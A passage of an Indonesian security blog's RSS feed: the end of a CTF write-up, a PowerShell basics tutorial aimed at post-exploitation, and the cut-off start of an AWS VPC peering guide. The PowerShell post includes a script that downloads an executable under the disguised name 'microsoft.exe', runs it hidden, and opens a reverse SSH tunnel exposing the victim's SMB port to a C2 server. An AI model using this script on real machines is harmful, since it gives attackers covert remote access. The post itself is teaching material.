<p>Flag: bhitech{Unlock3d_P@ssw0rd_Of_T1m3_C0nqu3r!ng}</p>



<p>Cukup sekian semoga bermanfaat, keep learning and exploring </p>



<p></p>
<p>Artikel <a href="https://blog.bhineka-tech.org/2024/11/15/logfrenzy-writeup-bhitech-challenge/">Logfrenzy WriteUp bhitech &#8211; challenge</a> pertama kali tampil pada <a href="https://blog.bhineka-tech.org">Bhineka blog</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://blog.bhineka-tech.org/2024/11/15/logfrenzy-writeup-bhitech-challenge/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Powershell for hacking, dasar command pada powershell</title>
		<link>https://blog.bhineka-tech.org/2024/10/20/powershell-for-hacking-dasar-command-pada-powershell/</link>
					<comments>https://blog.bhineka-tech.org/2024/10/20/powershell-for-hacking-dasar-command-pada-powershell/#comments</comments>
		
		<dc:creator><![CDATA[xpl0dec]]></dc:creator>
		<pubDate>Sun, 20 Oct 2024 06:23:34 +0000</pubDate>
				<category><![CDATA[programming]]></category>
		<category><![CDATA[shell]]></category>
		<category><![CDATA[technology]]></category>
		<category><![CDATA[Windows]]></category>
		<guid isPermaLink="false">https://blog.bhineka-tech.org/?p=270</guid>

					<description><![CDATA[<p>Jumpa lagi rek, pasti kalian ga asing kan dengan powershell ? nah jadi pada topik ini aku akan bahas mengenai fundamental command yang digunakan pada powershell. Powershell bisa dibilang merupakan suatu scripting language dimana berguna untuk melakukan task automation, process management hingga konfigurasi system Powershell sendiri dibangun diatas framework .NET dan Jika pada operating system [&#8230;]</p>
<p>Artikel <a href="https://blog.bhineka-tech.org/2024/10/20/powershell-for-hacking-dasar-command-pada-powershell/">Powershell for hacking, dasar command pada powershell</a> pertama kali tampil pada <a href="https://blog.bhineka-tech.org">Bhineka blog</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p>Jumpa lagi rek, pasti kalian ga asing kan dengan powershell ? nah jadi pada topik ini aku akan bahas mengenai fundamental command yang digunakan pada powershell. Powershell bisa dibilang merupakan suatu scripting language dimana berguna untuk melakukan task automation, process management hingga konfigurasi system</p>



<p>Powershell sendiri dibangun diatas framework .NET dan Jika pada operating system unix-like kita kenal dengan bash script yang yang merupakan command shell berbasis text, tidak seperti shell script lain uniknya pada powershell sendiri menggunakan shell yang berbasis object jadi semua command pada powershell dianggap sebagai suatu object, menarik bukan ?</p>



<p>Oh iya powershell sendiri mulai diperkenalkan pada windows XP yang dimana dulu powershell hanya bisa dipake pada windows environment tetapi sekarang kita bisa juga menginstall powershell pada operating system lain karena microsoft merilis powershell sebagai opensource.</p>



<p>Karena powershell itu tersedia secara default pada operating system windows jadi mempelajari powershell sangat berguna saat kita mendapatkan initial access pada windows machine jadi sesuai topik ini yaitu <strong>Powershell for hacking</strong> jadi kita akan belajar basic command serta melihat command apa saja yang sering dipakai pada powershell pada saat melakukan hacking/post-exploitation </p>



<p>Sebelum kita memulai kita perlu mengenal yang namanya <em>cmdlet</em>, <em>cmdlet</em> merupakan namming pattern yang berisi kata kerja dan kata benda pada suatu command jadi misalkan command <em>Get-ChildItem</em> yang digunakan untuk listing directory jadi Get merupakan kata kerja sementara ChildItem merupakan kata benda. cmdlet itu ada banyak sekali tetapi kita tidak perlu menghafalnya cukup kita perlu menginggat 2 command saja yaitu <em>Get-Command</em> yang digunakan untuk menampilkan semua atau spesifik nama dari cmdlet pada powershell dan command kedua ada <em>Get-Help</em> yang berfungsi untuk melihat detail dari cmdlet tersebut seperti argument dan penggunaan pada command cmdlet</p>



<p>Ada 3 CommandType yang ada pada powershell dimana di klasifikasikan menjadi 3 yaitu <em>Alias</em>, <em>Function</em> dan terakhir yang kita bahas tadi yaitu <em>cmdlet</em> jadi mari kita bahas:</p>



<p><strong>Alias </strong>: Bisa dibilang alias ini seperti singkatan dari cmdlet dan function dari powershell dan kita bisa mudah melihatnya menggunakan command <em>get-alias</em></p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="1158" height="684" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-20-105808.png" alt="" class="wp-image-281"/></figure>



<p>beberapa command alias mirip dengan bash seperti alias <em>cat </em>untuk membaca file yang aslinya merupakan cmdlet dari <em>Get-Content</em> lalu ada alias cd dan chdir untuk berpindah directory yang juga sebenarnya merupakan command cmdlet dari <em>Set-Location</em></p>



<p><strong>Function</strong> : function ini sebenernya juga masuk ke cmdlet tetapi kita juga bisa melakukan custom function pada powershell atau yang dikenal dengan user defined function</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="878" height="640" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-20-111528.png" alt="" class="wp-image-282"/></figure>



<p>Disini kita coba definisikan fungsi InfoTanggal-dan-IpAddress yang hanya menampilkan informasi tanggal dan IP Address pada local computer dan pada gambar kita bisa melihat pada blok fungsi kita memanggil cmdlet <strong>Get-Date</strong> dan alias <strong>gip</strong> yang memfilter hanya untuk menampilkan IP address</p>



<p><strong>Cmdlet</strong>: Seperti yang dibahas sebelumnya, cmdlet berisi suatu perintah dasar seperti menampilkan directory, berpindah directory, membuat file, membuat folder dan banyak lagi ya, contoh cmdlet yang sering digunakan:</p>



<ul class="wp-block-list">
<li>Get-ChildItem : untuk listing directory </li>



<li>Set-Location: Untuk berpindah directory</li>



<li>Get-Content : Untuk membaca file</li>



<li>Add-Content : untuk membuat file / append string jika file sudah ada</li>



<li>Set-Content : Untuk membuat file / modifikasi string jika file sudah ada</li>



<li>Remove-Item : menghapus file / directory</li>



<li>Rename-Item : rename file / directory</li>



<li>Copy-Item : salin file / directory</li>



<li>Move-Item : pindahkan file / directory</li>
</ul>



<p>Sebenarnya masih banyak lagi ya cuman kalian bisa explore sendiri untuk lebih lengkapnya, nah disini misalkan kasusnya kita tidak mengerti bagaimana cmdlet <strong>Add-Content</strong> bekerja kita bisa mudah menggunakan command <strong>Get-Help Add-Content</strong> untuk menampilkan informasi bantuan pada cmdlet tersebut</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="1301" height="588" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-20-113036.png" alt="" class="wp-image-288"/></figure>



<p>Nah ditampilkan informasi argument apa saja yang dibutuhkan, tenang saja kita tidak membutuhkan semua argument hanya argument yang wajib/required kita gunakan yaitu <em>-Path</em> yang merupakan nama file dan <em>-Value</em> isi pada string dan jika kurang jelas kita bisa melihat di dokumentasi microsoft pada link yang sudah disertakan pada output atau bisa juga menggunakan command Get-Help nama_<em>cmdlet</em> -Full</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="992" height="692" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-20-113654.png" alt="" class="wp-image-289"/></figure>



<p>Disini sangat detail karena disertakan hingga penjelasan dari parameter yang required dan opsional jadi langsung saja kita coba</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="1050" height="170" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-20-113923.png" alt="" class="wp-image-290"/></figure>



<p>Disini kita memakai cmdlet Add-Content untuk membuat file serta kita coba baca dari file yang kita buat memakai cmdlet Get-Content, semudahh itu kan </p>



<p>Setelah kita tau cmdline, alias dan function sekarang kita akan membahas <strong>pipeline</strong>, nah apa itu ?? jadi <strong>pipeline</strong> itu suatu cara pada powershell yang digunakan untuk mengarahkan output ke command lain menggunakan satu baris command dan hal ini berguna misalkan untuk sorting string, mencari string tertentu dalam file/output, memfilter output, melakukan operasi pada string yang dipilih dan masih banyak lagi.</p>



<p>Sama seperti pada bash, pipeline pada powershell juga menggunakan special character <strong>|</strong>(pipe) tetapi karena powershell semua command di respresentasikan sebagai object jadi kita bisa melakukannya lebih mudah</p>



<p>Kita mulai dengan cmdlet Get-Service yang berguna untuk menampilkan semua service pada computer</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="902" height="697" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-20-115059.png" alt="" class="wp-image-293"/></figure>



<p>Dan disini kita hanya akan memfilter nama pada service jadi kita bisa dengan mudah menggunakan pipeline dan diikut dengan cmdlet <em>Select-Object</em></p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="908" height="586" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-20-115223.png" alt="" class="wp-image-294"/></figure>



<p>Sangat mudah bukan, dimana kita melakukan Select-Object Name dimana Name merupakan parameter Name diambil dari column dari output Get-Service, Nah sekarang kita akan menampilkan hanya service yang memiliki status stop / tidak running kita dengan mudah menggunakan Where-Object</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="908" height="510" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-20-115622.png" alt="" class="wp-image-295"/></figure>



<p>Output hanya menampilkan service dengan status stopped dan disitu kita menggunakan Where-Object diikuti dengan <strong>{$_.Status -eq &#8220;Stopped&#8221;}</strong> yang dimana hal ini merupakan rules syntax dari powershell sendiri dan <strong>$_.Status</strong> artinya kita mengambil column status dan <strong>-eq</strong> merupakan operasi komparasi sama dengan dan diikuti dengan string &#8220;Stopped&#8221;</p>



<p>Kita juga bisa menggunakan lebih dari 2 pipeline </p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="1000" height="642" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-20-120130.png" alt="" class="wp-image-296"/></figure>



<p>Dalam kasus ini kita akan memilih service yang berstatus &#8220;<strong>Stopped</strong>&#8221; dan diikuti dengan <em>Select-Object Name</em> artinya kita hanya memanggil nama dari service pada output yang berarti menampilkan nama service dengan status Stopped </p>



<p>Contoh selanjutnya kita akan mulai bekerja dengan file yaitu menampilkan file pada current path yang lebih baru dari 30 hari sebelumnya, kita tahu jika operasi listing menggunakan Get-ChildItem</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="1325" height="611" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-20-120813.png" alt="" class="wp-image-299"/></figure>



<p>Sebelum kita memulai kita perlu tau dulu spesifikasi dari command Get-ChildItem dimana kita bisa melakukan scanning rekursif menggunakan argument <strong>-Recurse</strong> dan kita juga bisa melihat argument yang bersifat required dan bukan.</p>



<p>Selanjutnya kita bisa memanfaatkan pipeline untuk ini </p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="1263" height="543" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-20-122414.png" alt="" class="wp-image-300"/></figure>



<p>Disini command-nya sangat sederhana pertama kita recursif scan menggunakan -Recurse dan -File merupakan argument yang hanya digunakan untuk melakukan scanning pada file bukan directory dan kita lakukan pipeline dengan where-object artinya kita akan melakukan compare dimana $_.LastWriteTime merupakan column timestamp dan -ge merupakan operasi lebih dari diikuti dengan fungsi (Get-Date).AddDays(-30) yang berarti kita mengambil tanggal sekarang dikurangi 30 hari dan lanjut melakukan select column dimana disitu kita hanya akan menampilkan fullpath dengan menggunakan argument Fullname</p>



<p>Contoh terakhir kita akan melihat kemampuan cmdlet untuk melihat dan melakukan konfigurasi system</p>



<p>Kita bisa dengan mudah menampilkan semua subkey registry HKCU menggunakan Get-ChildItem</p>



<figure class="wp-block-image size-full is-resized"><img loading="lazy" decoding="async" width="665" height="355" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-20-123410.png" alt="" class="wp-image-303" style="width:830px;height:auto"/></figure>



<p>Kita juga bisa melihat value dari hive registry menggunakan cmdlet Get-ItemProperty diikuti path dari registry key-nya</p>



<figure class="wp-block-image size-full is-resized"><img loading="lazy" decoding="async" width="1329" height="316" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-20-124429.png" alt="" class="wp-image-305" style="width:840px;height:auto"/></figure>



<p>Disini kita bisa melihat autorun program yang dijalankan pada saat selesai booting diantaranya ada openvpn-gui.exe, discord, opera.exe dan lainnya ya</p>



<p>Dan kita bisa menghapus salah satu value dari registry tersebut menggunakan Remove-ItemProperty, disini kita akan mencoba untuk menghapus discord agar tidak dijalankan saat computer dinyalakan</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="1331" height="337" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-20-125051.png" alt="" class="wp-image-306"/></figure>



<p>Pada gambar ini, terlihat kita menghapus value dengan nama discord jadi sekarang discord tidak lagi menjadi autorun program</p>



<p>Powershell sendiri sebenarnya suatu utility yang sangat powerfull entah dari segi sysadmin, configuration, automation maupun pentesting karena kita bisa melakukan apapun pada machine hanya dengan input suatu command dan juga kita bisa membuat script powershell pada satu file dengan extension .ps1, jadi kita akan mencoba coding untuk menjalankan executable jadi siapkan text editor disini kita akan menggunakan vscode</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="1043" height="502" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/10/poweshell.png" alt="" class="wp-image-307"/></figure>



<p>oke kita bedah scriptnya, jadi pada script powershell ini digunakan untuk menjalankan suatu executable yaitu putty, putty adalah suatu aplikasi yang dipake untuk keperluan remote jaringan dan kita bisa menggunakan putty untuk komunikasi pada protocol ssh, ftp, smb dan protocol yang digunakan untuk remote login lainnya </p>



<pre class="wp-block-code"><code>$processName = "microsoft"

$tempDir = &#91;System.IO.Path]::GetTempPath()
$exePath = Join-Path -Path $tempDir -ChildPath "microsoft.exe"

$downloadUrl = "http://&#91;redacted]/putty.exe"

</code></pre>



<p>Sama seperti programming pada umumnya, kita bisa mendeklarasikan variable pada powershell disini kita inisialisasi variable seperti ProcessName, tempDir, exePath dan downloadUrl</p>



<pre class="wp-block-code"><code>function IsProcessRunning {
    param (
        &#91;string]$name
    )
    $process = Get-Process | Where-Object { $_.ProcessName -eq $name }
    return $process -ne $null
}

if (-not (IsProcessRunning $processName)) {

    if (-not (Test-Path $exePath)) {
        Write-Host "$exePath Downloading"
        Invoke-WebRequest -Uri $downloadUrl -OutFile $exePath
        Write-Host "Success"
    }
    

    $args = @("-N", "-l", "guest", "-pw", "admin12345", "-R", "1337:localhost:445", "&#91;redacted_host]", "-hostkey", "SHA256:xbI5/Mcj2KrXg3ykreniRYhZUs9IQGb/secret")
    Start-Process -FilePath $exePath -ArgumentList $args -WindowStyle Hidden
    Write-Host "$processName not running, $exePath"
} else {
    Write-Host "$processName running."
}</code></pre>



<p>Pada fungsi IsProcessRunning berguna untuk melakukan filter process dengan 1 argument yang diambil dari variable processName dengan nama microsoft dan selanjutnya ada if statement </p>



<p><strong>if (-not (IsProcessRunning $processName))</strong></p>



<p>Artinya kita identifikasi apakah process microsoft itu running dan jika belum running maka dilakukan komparasi kedua apakah ada file pada $exePath yang dimana variable $exePath merupakan temporary directory dan diikuti dengan nama file yaitu microsoft.exe jika tidak ada maka akan dilakukan download pada url yang mengambil pada variable $downloadUrl dan jika ada maka lanjut pada line berikutnya</p>



<p>Disini ada inisialisasi array pada variable $args yang merupakan argument pada cmdlet dari Start-Process dan diikut dengan argument <strong>-WindowStyle Hidden</strong> yang berarti process akan dilakukan pada background, jadi script ini berfungsi untuk melakukan SSH tunneling dimana pada host local melakukan port forwarding dari 445(smb) ke server c2 dengan port 1337 sehingga login smb pada local computer bisa dilakukan remote pada c2 server dengan port 1337.</p>



<p><strong>Penutup</strong></p>



<p>mungkin itu saja penjelasan fundamental mengenai powershell scripting, yang dimana memang powershell ini sangat usefull terlebih lagi di sisi cybersecurity saat melakukan pentesting/CTF pada windows machine dan semoga artikel ini bermanfaat dan bisa dijadikan refrensi untuk kedepannya.</p>



<p><em>&#8220;Orang bijak belajar ketika mereka bisa. Orang bodoh belajar ketika mereka dipaksa.&#8221;</em> <strong>-Arthur</strong></p>



<p>Refrensi: </p>



<p><a href="https://learn.microsoft.com/en-us/powershell/scripting/learn/ps101/04-pipelines?view=powershell-7.4">https://learn.microsoft.com/en-us/powershell/scripting/learn/ps101/04-pipelines?view=powershell-7.4</a></p>



<p><a href="https://learn.microsoft.com/en-us/powershell/scripting/overview?view=powershell-7.4">https://learn.microsoft.com/en-us/powershell/scripting/overview?view=powershell-7.4</a></p>



<p><a href="https://www.techtarget.com/whatis/definition/cmdlet">https://www.techtarget.com/whatis/definition/cmdlet</a></p>



<p><a href="https://juggernaut-sec.com/autorun-startup-registry-keys">https://juggernaut-sec.com/autorun-startup-registry-keys</a></p>
<p>Artikel <a href="https://blog.bhineka-tech.org/2024/10/20/powershell-for-hacking-dasar-command-pada-powershell/">Powershell for hacking, dasar command pada powershell</a> pertama kali tampil pada <a href="https://blog.bhineka-tech.org">Bhineka blog</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://blog.bhineka-tech.org/2024/10/20/powershell-for-hacking-dasar-command-pada-powershell/feed/</wfw:commentRss>
			<slash:comments>1</slash:comments>
		
		
			</item>
		<item>
		<title>Implementasi VPC Peering Pada Koneksi Antar Private Instance: Panduan Lengkap untuk Pemula</title>
		<link>https://blog.bhineka-tech.org/2024/10/16/implementasi-vpc-peering-pada-koneksi-antar-private-instance/</link>
					<comments>https://blog.bhineka-tech.org/2024/10/16/implementasi-vpc-peering-pada-koneksi-antar-private-instance/#respond</comments>
		
		<dc:creator><![CDATA[cicak]]></dc:creator>
		<pubDate>Wed, 16 Oct 2024 08:25:54 +0000</pubDate>
				<category><![CDATA[cloud]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[operating system]]></category>
		<category><![CDATA[technology]]></category>
		<guid isPermaLink="false">https://blog.bhineka-tech.org/?p=197</guid>

					<description><![CDATA[<p>Halo semuanya, pada artikel kali ini aku membahas tentang VPC Peering dan cara membuatnya. Sebelum masuk ke praktek kalian harus tau dahulu apa itu VPC Peering. VPC Peering merupakan fitur AWS yang memungkinkan dua Virtual Private Cloud (VPC) untuk saling terhubung dan berkomunikasi secara privat. Koneksi ini dilakukan melalui jaringan internal AWS, tanpa melewati internet [&#8230;]</p>
<p>Artikel <a href="https://blog.bhineka-tech.org/2024/10/16/implementasi-vpc-peering-pada-koneksi-antar-private-instance/">Implementasi VPC Peering Pada Koneksi Antar Private Instance: Panduan Lengkap untuk Pemula</a> pertama kali tampil pada <a href="https://blog.bhineka-tech.org">Bhineka blog</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p class="has-text-align-left">Halo semuanya, pada artikel kali ini aku membahas tentang VPC Peering dan cara membuatnya. Sebelum masuk ke praktek kalian harus tau dahulu apa itu VPC Peering. VPC Peering merupakan fitur AWS yang memungkinkan dua Virtual Private Cloud (VPC) untuk saling terhubung dan berkomunikasi secara privat. Koneksi ini dilakukan melalui jaringan internal AWS, tanpa melewati internet publik. Dengan VPC peering, instance di satu VPC dapat berkomunikasi dengan instance di VPC lain menggunakan <strong>private IP addresses</strong>, seolah-olah mereka berada dalam satu jaringan.</p>



<div class="wp-block-group is-vertical is-layout-flex wp-container-core-group-is-layout-4 wp-block-group-is-layout-flex">
<p>VPC Peering memiliki beberapa kegunaan yakni:</p>



<ol class="wp-block-list">
<li>Keamanan Lebih Baik:
<ul class="wp-block-list">
<li>VPC peering memungkinkan komunikasi antar-VPC <strong>tanpa melalui internet</strong>, sehingga lebih aman karena tidak terekspos ke jaringan publik. Data tetap berada di jaringan internal AWS.</li>
</ul>
</li>



<li>Menghubungkan Aplikasi yang Terdistribusi:
<ul class="wp-block-list">
<li>Jika kamu memiliki arsitektur aplikasi yang terdistribusi di beberapa VPC (misalnya, aplikasi dan database berada di VPC yang berbeda), VPC peering memungkinkan aplikasi-aplikasi tersebut berkomunikasi secara langsung.</li>
</ul>
</li>



<li>Cross-Account Peering:
<ul class="wp-block-list">
<li>Kamu dapat membuat peering antara VPC di akun AWS yang berbeda, memungkinkan kolaborasi antar-tim atau proyek, tanpa harus menggunakan internet publik atau VPN.</li>
</ul>
</li>



<li>Inter-region Peering:
<ul class="wp-block-list">
<li>VPC peering dapat digunakan antar-region (disebut <strong>inter-region VPC peering</strong>), memungkinkan komunikasi privat antar-VPC di region yang berbeda, berguna untuk aplikasi yang beroperasi di beberapa wilayah geografis.</li>
</ul>
</li>



<li>Kontrol Lalu Lintas Jaringan:
<ul class="wp-block-list">
<li>Dengan peering, kamu dapat mengatur route table di setiap VPC untuk memastikan hanya lalu lintas yang diizinkan bisa mengalir melalui peering connection. Ini memberikan kontrol lebih dalam mengelola komunikasi antar-VPC.</li>
</ul>
</li>



<li>Biaya Transfer Data Lebih Rendah:
<ul class="wp-block-list">
<li>Komunikasi antar-VPC dengan VPC peering biasanya lebih hemat biaya dibandingkan menggunakan internet atau VPN, terutama dalam komunikasi antar-region, karena menggunakan jaringan internal AWS.</li>
</ul>
</li>
</ol>
</div>



<div class="wp-block-group is-vertical is-layout-flex wp-container-core-group-is-layout-5 wp-block-group-is-layout-flex">
<p>Catatan penting</p>



<ul class="wp-block-list">
<li>VPC peering bersifat <strong>point-to-point</strong>, artinya VPC A bisa berkomunikasi dengan VPC B, tapi tidak bisa meneruskan komunikasi ke VPC C melalui B (no transitive peering).</li>



<li>Kamu perlu mengonfigurasi <strong>route table</strong> dan <strong>security group</strong> di kedua VPC agar komunikasi melalui peering connection diizinkan.</li>
</ul>
</div>



<p>Ok! menurut mu bagaimana? apakah sudah lengkap teori yang aku sampaikan? jika sudah mari lanjut ke praktek. Pastikan kamu sudah memiliki akun AWS. Di artikel ini kita akan membuat dua region yaitu Virginia dan Region Singapore yang memiliki masing-masing satu instance private saling terhubung</p>



<p></p>



<h2 class="wp-block-heading">Membuat Kustom VPC Baru</h2>



<p>Hal pertama yang harus kita lakukan adalah membuat VPC di kedua region. kita akan membuat di region virginia terlebih dahulu!</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="1919" height="992" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/10/image-2.png" alt="" class="wp-image-203"/></figure>



<p>Cari dahulu service VPC pada kolom pencarian (kotak kuning) setelah itu pilih menu VPCs (kotak orange). Setelah klik menu VPCs maka akan di arahkan ke halaman daftar VPC yang ada, karena kita akan membuat VPC baru, pada bagian kanan atas klik tombol &#8220;Create VPC&#8221; (kotak orange) untuk ke halaman membuat VPC nya.</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="1919" height="986" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/10/image-4.png" alt="" class="wp-image-205"/></figure>



<p>Setalah itu, klik &#8220;VPC and more&#8221; untuk mengatur VPC dengan cara yang lebih mudah, seperti gambar dibawah ini.</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="1919" height="988" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/10/image-6.png" alt="" class="wp-image-207"/></figure>



<p>Untuk pengaturan nya, pertama tentukan nama VPC, pada artikel ini aku menggunakan nama &#8220;new-vpc&#8221;, kemudian tentukan IPv4 CIDR Block, disini aku menggunakan bawaan saja, kemudian Number of Availability Zones (AZs) pilih 1, kemudian Number of public subnets pilih 1, kemudian Number of private subnets pilih 1, NAT Gateway pilih None (karna NAT Gateway itu berbayar), kemudian VPC Endpoint pilih None. lengkap nya seperti gambar dibawah ini.</p>



<div class="wp-block-group is-vertical is-layout-flex wp-container-core-group-is-layout-7 wp-block-group-is-layout-flex">
<div class="wp-block-group is-vertical is-layout-flex wp-container-core-group-is-layout-6 wp-block-group-is-layout-flex">
<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="516" height="775" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/10/image-8.png" alt="" class="wp-image-209"/></figure>
</div>



<figure class="wp-block-image size-full is-resized"><img loading="lazy" decoding="async" width="542" height="522" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/10/image-37.png" alt="Gambar ini memiliki atribut alt yang kosong; nama berkasnya adalah image-36.png" class="wp-image-246" style="width:509px;height:auto"/></figure>
</div>



<p>Klik &#8220;Create VPC&#8221; untuk membuat VPC! setelah itu tunggu saja. Klik &#8220;View VPC&#8221; untuk melihat hasil dari VPC yang telah dibuat</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="839" height="571" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/10/image-10.png" alt="" class="wp-image-211"/></figure>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="1919" height="991" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/10/image-11.png" alt="" class="wp-image-212"/></figure>



<p></p>



<h2 class="wp-block-heading">Membuat EC2 Instance Private Dan Public</h2>



<p>Setelah VPC baru dibuat, maka selanjutnya membuat instance pada new-vpc yang baru dibuat. cara nya, cari &#8220;EC2&#8221; pada kolom pencarian lalu klik, maka AWS akan membawa kamu ke halaman EC2.</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="1204" height="992" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/10/image-12.png" alt="" class="wp-image-214"/></figure>



<p>Setelah di arahkan ke halaman instance, klik tombol &#8220;Launch Instance&#8221; pada pojok kanan atas, untuk membuat instance baru. Step selanjutnya aku membuat sebuah instance private.</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="1919" height="987" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/10/image-13.png" alt="" class="wp-image-215"/></figure>



<p>Setelah diklik tentukan nama instance, OS instance (pilih ubuntu dan pastikan free tier), instance type (pastikan free tier), key pair (ssh), network setting. Contoh nya seperti gambar dibawah ini.</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="793" height="274" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/10/image-15.png" alt="" class="wp-image-217"/></figure>



<figure class="wp-block-image size-full is-resized"><img loading="lazy" decoding="async" width="787" height="789" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/10/image-16.png" alt="" class="wp-image-218" style="width:794px;height:auto"/></figure>



<figure class="wp-block-image size-full is-resized"><img loading="lazy" decoding="async" width="785" height="516" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/10/image-19.png" alt="" class="wp-image-221" style="width:806px;height:auto"/></figure>



<p>Untuk key pair, kamu bisa &#8220;Create new key pair&#8221;, berikan nama lalu klik &#8220;Create key pair&#8221;.</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="599" height="642" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/10/image-20.png" alt="" class="wp-image-222"/></figure>



<p>Kemudian pada bagian Network Setting pada kolom VPC, pilih ke VPC yang baru kita buat sebelumnya, kemudian subnet pilih yang ada kata private, kemudian Auto-assign public IP pilih disable (agar tidak diberikan IP publik), kemudian secury group secara default akan menambahkan rules mengizinkan koneksi ssh, tetapi disini aku menambahkan rules mengizinkan ALL ICMP-IPv4 dengan source type Anyware. Lengkap nya tersaji pada gambar dibawah ini.</p>



<div class="wp-block-group is-vertical is-layout-flex wp-container-core-group-is-layout-8 wp-block-group-is-layout-flex">
<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="780" height="448" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/10/image-21.png" alt="" class="wp-image-223"/></figure>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="781" height="841" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/10/image-22.png" alt="" class="wp-image-224"/></figure>
</div>



<p>Setelah konfigurasi instance selesai, klik &#8220;Launch instance&#8221; pada kanan pojok bawah.</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="1919" height="940" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/10/image-24.png" alt="" class="wp-image-227"/></figure>



<p>setalah di klik, makan AWS akan membuat instance yang sesuai dengan konfigurasi kita sebelumnya.</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="1919" height="984" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/10/image-25.png" alt="" class="wp-image-229"/></figure>



<p>Selanjutnya membuat instance publik sebagai bastion host (ini nanti digunakan untuk mengakses instance private), cara nya sama saja beda nya pada saat konfigurasi Network Setting. Di sini aku membuat instance publik dengan nama virginia-instance-2.</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="783" height="684" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/10/image-26.png" alt="" class="wp-image-230"/></figure>



<p>Uji coba instance, pada instance virginia-instance-2, klik &#8220;Connect&#8221; pada halaman instance.</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="1919" height="985" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/10/image-29.png" alt="" class="wp-image-234"/></figure>



<p>Setelah itu klik &#8220;Connect&#8221; seperti gambar dibawah.</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="848" height="988" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/10/image-30.png" alt="" class="wp-image-235"/></figure>



<p>Uji coba pertama adalah dengan melakukan ping ke google.com, lalu kedua ping ke instance private</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="1919" height="995" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/10/image-31.png" alt="" class="wp-image-236"/></figure>



<p>IP instance private adalah 10.0.135.68.</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="856" height="659" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/10/image-32.png" alt="" class="wp-image-237"/></figure>



